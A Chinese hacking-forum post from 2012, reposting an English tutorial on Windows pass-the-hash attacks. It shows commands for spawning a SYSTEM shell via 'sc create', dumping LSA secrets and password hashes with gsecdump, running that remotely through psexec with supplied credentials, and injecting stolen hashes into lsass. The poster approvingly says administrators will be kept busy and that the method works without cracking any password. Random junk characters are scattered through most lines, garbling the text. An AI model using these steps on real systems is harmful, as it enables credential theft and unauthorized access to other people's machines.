找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:
8 \3 ]3 Y: M- P8 B+ f# @& h2 i) l2 {1 D4 s
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact, l! R0 x  E( m( m
[SC] CreateService SUCCESS6 K% v/ q2 J! s0 B
) d: I* o; r9 `
C:\>sc start shellcmdline; v7 M* j7 b, P3 }0 d
[SC] StartService FAILED 1053:
. q  {4 V* W! F% G* a: B0 B# ~2 A: {9 S+ O* ]) N7 V! n9 d# ~
The service did not respond to the start or control request in a timely fashion.1 [8 b( \' m- o0 l7 c. f
! z! Y' ~0 ]3 F  Y
C:\>sc delete shellcmdline7 ~. W% J7 b# b$ I) ]$ i2 Q
[SC] DeleteService SUCCESS
( ?% a- k0 D( h1 y9 n) a) ^8 L, X8 o! i0 b0 {0 r1 c
------------- ^% w( t: E' ?" K
& C! j3 F' u* G& z9 K6 F
Then in the new DOS window:, H0 B; `& E$ n2 _2 V6 b

, k( q' z2 G+ E! Y! b/ B" y$ XMicrosoft Windows XP [Version 5.1.2600]' o9 Y& U4 {1 ]9 ~
(C) Copyright 1985-2001 Microsoft Corp.
  e5 W, u) U& b$ b0 ^& x- `8 r0 c; N# W
C:\WINDOWS\system32>whoami
8 {. t+ e6 k# I1 ^- gNT AUTHORITY\SYSTEM
5 Y  L8 ?6 Z6 p% [  O/ b4 e9 J* R: a" w2 t7 \: G
C:\WINDOWS\system32>gsecdump -h
5 {3 D0 J# O! F6 B2 B( Ugsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)5 `' j2 V6 @2 h& {" S" B! Y
usage: gsecdump [options]7 `# ~  T0 w4 i' {! ^3 o- d3 i3 X

- ]; b. Z2 j  P: Moptions:
0 b. N  W% ^( B7 u+ W4 ~6 k-h [ --help ] show help
8 q; `. s' e3 q2 t' n-a [ --dump_all ] dump all secrets5 P7 O7 M% [1 p& Q8 j9 U" C! m8 r5 l
-l [ --dump_lsa ] dump lsa secrets
$ b* y. s7 Z1 W( u-w [ --dump_wireless ] dump microsoft wireless connections
$ C6 H! ^/ e1 x-u [ --dump_usedhashes ] dump hashes from active logon sessions
% O% A! t: m8 [* l! w-s [ --dump_hashes ] dump hashes from SAM/AD6 N/ q2 j# {4 A- X; H: C
6 s+ Q' j! n9 g+ O# I$ f7 h  B
Although I like to use:; R- k* q3 o! H- H0 X
8 c6 n0 H$ O% ^: B+ ]
PsExec v1.83 - Execute processes remotely4 s) z7 I$ Z2 E6 N8 s
Copyright (C) 2001-2007 Mark Russinovich
* J3 ^$ A* _. p# ~0 hSysinternals - 链接标记[url]www.sysinternals.com[/url]
/ ^) p7 U) y7 P! m" q: i5 w& I  _+ I- o, [6 t4 a8 t/ m/ s
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
8 {8 q3 f: W+ A3 \; N) P! i% W7 z( E" X& V) n& H
to get the hashes from active logon sessions of a remote system.. y' r- l+ C: F. @; g
$ g5 {! K" L. \% c
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.. w6 Z" `" Y0 D

6 a: L, p* N+ O# b$ X提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
' C. _+ R1 d1 x# z原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
0 k0 z+ Z, z5 R2 ?$ V" W% t! b% v* `' ~- X
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
2 P$ ]' p! F9 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表